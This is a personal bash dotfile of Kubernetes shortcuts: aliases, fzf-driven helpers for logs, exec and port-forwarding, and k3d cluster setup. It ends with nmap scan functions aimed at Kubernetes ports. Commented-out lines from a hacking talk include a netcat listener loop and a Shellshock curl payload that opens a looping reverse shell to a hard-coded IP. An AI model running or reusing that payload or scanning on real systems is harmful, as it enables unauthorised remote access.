-
Notifications
You must be signed in to change notification settings - Fork 2
/
.k8s-helpers
291 lines (264 loc) · 10.6 KB
/
.k8s-helpers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#!/bin/bash
# shellcheck disable=SC2046
# -----------------------------------------------------------------------------
# kubeconfigs and context
# Allow kubectl/kube-rs to use contexts from all kubeconfig files in ~/.kube/
export KUBECONFIG
KUBECONFIG="$(fd . ~/.kube --max-depth 1 --type f | tr '\n' ':')"
# context switcher
kc() {
# Relies on KUBECONFIG set to colon delimeted list of all kubeconfigs ^
# Exclude fqdn contexts (rancher-ism).
kubectl config use-context "$(kubectl config get-contexts -o name | grep -v fqdn | fzf)"
if ! [[ "${OSTYPE}" =~ "darwin" ]]; then
pkill -RTMIN+3 waybar # trigger re-render of waybar kc module
fi
}
# namespace switcher
kns() {
local -r ns="${1:-$(kubectl get ns --no-headers | choose 0 | fzf)}"
local -r ctx="$(kubectl config current-context)"
kubectl config set "contexts.${ctx}.namespace" "${ns}"
}
# -----------------------------------------------------------------------------
# kubernetes aliases
# kubectl
alias k="kubectl"
alias kar="kubectl api-resources"
alias ka="kubectl apply"
alias kdel="kubectl delete"
alias kg="kubectl get"
alias kgy="kubectl get -oyaml"
alias kshell="kubectl run -it --image alpine --restart Never --rm sh"
# kl - fzf kubectl logs (kl fn below)
alias kld="kl deploy"
alias kls="kl service"
alias klsts="kl sts"
alias klds="kl ds"
alias klf="kl"
alias klp="kl pod"
# kubectl get
alias kga="kg all"
alias kgp="kg pod"
alias kgcm="kg cm"
alias kgsec="kg secret"
alias kgd="kg deploy"
alias kgrs="kg rs"
alias kgj="kg job"
alias kgcj="kg cj"
alias kgs="kg service"
alias kgn="kg node"
alias kgsm="kg servicemonitor"
# kubectl describe
alias kdn="kd node"
alias kdp="kd pod"
alias kdcm="kd cm"
alias kdsec="kd secret"
alias kdd="kd deploy"
alias kdrs="kd rs"
alias kdj="kd job"
alias kdcj="kd cj"
alias kds="kd service"
alias kdsm="kd servicemonitor"
# ky - fzf kubectl yaml prettifier
alias kyp="ky pod"
alias kycm="ky cm"
alias kysec="ky secret"
alias kyd="ky deploy"
alias kyrs="ky rs"
alias kyj="ky job"
alias kycj="ky cj"
alias kysm="ky servicemonitor"
alias kys="ky service"
alias kysa="ky sa"
alias kyn="ky node"
alias kyh="ky hpa"
# kpf - fzf port-forward (see below)
alias kpf="kpfs"
# presentation mode
alias kuwuctl="kubectl"
# -----------------------------------------------------------------------------
# kubernetes interactive getters using fzf to pick unspecified args
# Pick a theme for bat because no file extension.
_YAML_BAT_THEME="DarkNeon" # good for yaml and comes with bat
# streamlined yaml viewer (tons of aliases for it in .aliases)
# usage: kg (asks for fuzzy resource, then fuzzy name)
# usage: kg pod (asks for fuzzy name of pod)
# usage: kg svc mysvc (no questions)
ky() {
local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
kubectl get "${resource}" "${name}" -oyaml | bat -l=yaml --plain --theme="${_YAML_BAT_THEME}"
}
# streamlined describe viewer operating the same way as ky
kd() {
local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
kubectl describe "${resource}" "${name}"
}
# log helper that lets you complete container name (if more than one)
kl() {
local resource="${1:-pod}"
local name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
if [[ "$resource" = "pod" ]]; then
jqpth=".spec.containers"
elif [[ "$resource" =~ (service|svc) ]]; then
# If we are getting logs from a service we find a pod matching selectors
local -r selectorlabels="$(kubectl get svc "${name}" -ojson | \
jq '.spec.selector | to_entries | .[] | join("=")' -r | \
sed ':a; N; $!ba; s/\n/,/g')"
# overwrite name with the first pod name matching
name="$(kubectl get pod -l "${selectorlabels}" --no-headers | head -1 | choose 0)"
echo "Showing logs from pod/${name}"
resource="pod"
jqpth=".spec.containers" # pod path
else
# assume workload path for everything else (last category we support)
jqpth=".spec.template.spec.containers"
fi
local -r data="$(kubectl get "${resource}/${name}" -ojson | jq -ca)"
if [[ "$(jq "${jqpth} | length" <<< "${data}")" = 1 ]]; then
container="$(jq "${jqpth}[0].name" -r <<< "${data}")" # use first container
else
container="$(jq "${jqpth}[].name" -r <<< "${data}" | fzf)" # user choice
fi
kubectl logs -f "${resource}/${name}" "${container}"
}
# port-forward to a service by selecting a ports json entry
kpfs() {
local -r service="${1:-$(kubectl get service --no-headers | choose 0 | fzf)}"
local -r spec="$(kubectl get service "${service}" -ojson | jq ".spec")"
if [ "$(jq ".ports[]" -Mc <<< "${spec}" | wc -l)" -gt 1 ]; then
portjson="$(jq ".ports[]" -Mc <<< "${spec}" | fzf --header='pick a port object')"
else
portjson="$(jq ".ports[0]" -Mc <<< "${spec}")"
fi
local -r port="$(jq ".port" -r <<< "${portjson}")"
echo "Forwarding to svc/${service}:${port} via local 8000"
kubectl port-forward "svc/${service}" "8000:${port}"
}
# port-forward to a pod by selecting a ports entry from a ports entry
# will pick ports from the only container, or let you pick container by name
kpfp() {
local -r pod="${1:-$(kubectl get pod --no-headers | choose 0 | fzf)}"
local -r data="$(kubectl get pod "${pod}" -ojson)"
if [[ "$(jq '.spec.containers | length' <<< "${data}")" = 1 ]]; then
local -r cname="$(jq ".spec.containers[0].name" -r <<< "${data}")"
else
local -r cname="$(jq ".spec.containers[].name" -r <<< "${data}" | fzf --header='mutliple containers; please pick one')" # user choice
fi
local -r container="$(jq ".spec.containers[] | select(.name==\"${cname}\")" <<< "${data}")"
if [[ "$(jq ".ports" <<< "${container}")" == "null" ]]; then
echo "No ports for $(tput bold)${cname}$(tput sgr0) container in $(tput bold)${pod}$(tput sgr0)"
return 1
fi
if [ "$(jq ".ports[]" -Mc <<< "${container}" | wc -l)" -gt 1 ]; then
portjson="$(jq ".ports[]" -Mc <<< "${container}" | fzf --header="pick a port object")"
else
portjson="$(jq ".ports[0]" -Mc <<< "${cname}")"
fi
port="$(jq ".containerPort" -r <<< "${portjson}")"
echo "Forwarding to pod/${pod}:${port} via local 8000"
kubectl port-forward "${pod}" "8000:${port}"
}
# kubectl exec
ke() {
local -r pod="${1:-$(kubectl get pod --no-headers | choose 0 | fzf)}"
local -r data="$(kubectl get pod "${pod}" -ojson)"
if [[ "$(jq ".spec.containers | length" <<< "${data}")" = 1 ]]; then
container="$(jq ".spec.containers[0].name" -r <<< "${data}")" # use first container
else
container="$(jq ".spec.containers[].name" -r <<< "${data}" | fzf)" # user choice
fi
if [[ $(kubectl exec "${pod}" -itc "${container}" -- bash 2>&1) =~ "executable file not found" ]]; then
kubectl exec "${pod}" -itc "${container}" -- sh
fi
}
# kubectl events --for shorthand
kev() {
local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
kubectl events --for "${resource}/${name}"
}
# -----------------------------------------------------------------------------
# k3d setup helpers
k3dmake() {
local -r name="$1"
local -r version="$2"
shift
shift
local -r latest_minor="$(k3d version ls k3s -i "v$version\..*-k3s1$" -l 1)"
# NB: ports and --no-lb clash and causes nodefilter requirements (TODO: add back --no-lb once it works)
# TODO: -p 10250:10250 for kubelet debug interface
# shellcheck disable=SC2068
(set -x;
k3d cluster create "${name}" --servers 1 --registry-create "${name}" \
--no-rollback \
--image="rancher/k3s:${latest_minor}" \
$@ \
--k3s-arg "--disable=traefik,servicelb,metrics-server@server:*" \
--k3s-arg '--kubelet-arg=eviction-hard=imagefs.available<1Gi,nodefs.available<Gi@agent:*' \
--k3s-arg '--kubelet-arg=eviction-minimum-reclaim=imagefs.available=1Gi,nodefs.available=1Gi@agent:*'
)
k3d kubeconfig get --all > ~/.kube/k3d
}
# recent feature additions
k3dwatchlist() {
echo -e "--k3s-arg --kube-apiserver-arg=feature-gates=WatchList=true@server:*"
}
k3dmake24() { k3dmake "24" "1.24"; }
k3dmake25() { k3dmake "25" "1.25"; }
k3dmake26() { k3dmake "26" "1.26"; }
k3dmake27() { k3dmake "27" "1.27" $(k3dwatchlist); }
k3dmake28() { k3dmake "28" "1.28" $(k3dwatchlist); }
k3dmake29() { k3dmake "29" "1.29" $(k3dwatchlist); }
k3dmake30() { k3dmake "30" "1.30" $(k3dwatchlist); }
# -----------------------------------------------------------------------------
# misc kubernetes helpers
kevictdel() {
# NB: status.reason=Evicted is not an allowed field selector..
# => have to either pipe through a filter, or use Failed as an approximation:
#kubectl delete pod --field-selector 'status.phase=Failed'
kubectl get pods | awk '/Evicted/ {print $1}' | xargs kubectl delete pod
}
kfailing() {
#shellcheck disable=SC2068
kubectl get pods --field-selector="status.phase!=Succeeded,status.phase!=Running" --no-headers $@
}
# find things left in namespace that kubectl get all might not find
kleftovers() {
kubectl api-resources --verbs=list --namespaced -o name \
| xargs -n 1 kubectl get --show-kind --ignore-not-found
}
# find crds without instances
kcrdunused() {
# shellcheck disable=SC2016
kubectl get crds -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | \
xargs -P16 -I "{}" sh -c '[ "$(kubectl get {} --no-headers -A 2> /dev/null | wc -l)" -eq 0 ] && echo "{}"'
}
# check versions in all contexts
kcver() {
for ctx in $(kubectl config get-contexts -o name | grep -v fqdn); do
kubectl config use-context "${ctx}" > /dev/null
# hide unavoidable version skew warning
echo "${ctx} :: $(kubectl version -ojson 2> /dev/null | jq '.serverVersion.gitVersion' -r)"
done
}
nmap-kube () {
nmap --open -T4 -A -v -Pn -p 443,2379,4194,6782-6784,6443,8443,8080,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local -r LOCAL_RANGE="$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,')"
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube "${SERVER_RANGES}" "${LOCAL_RANGE}"
}
# stuff via bulletproof kubernetes hacking
# https://www.youtube.com/watch?v=NEfwUxId1Uk
# https://github.com/kubernetes-simulator/simulator
#while :; do ssh controlplane ncat --listen 1234 --output $(mktemp /tmp/hack-XXXX.log); done
# shellshock as a service https://github.com/hmlio/vaas-cve-2014-6271
# continuous dev/tcp hackery via shellshock:
#while :; do curl http://165.22.113.204:30081/cgi-bin/stats -H 'user-agent: () { :; }; echo; echo; 2>&1 /bin/bash -c "while :; do nohup bash -i >& /dev/tcp/149.202.164.115/1234 0>&1; sleep 1; done"'; done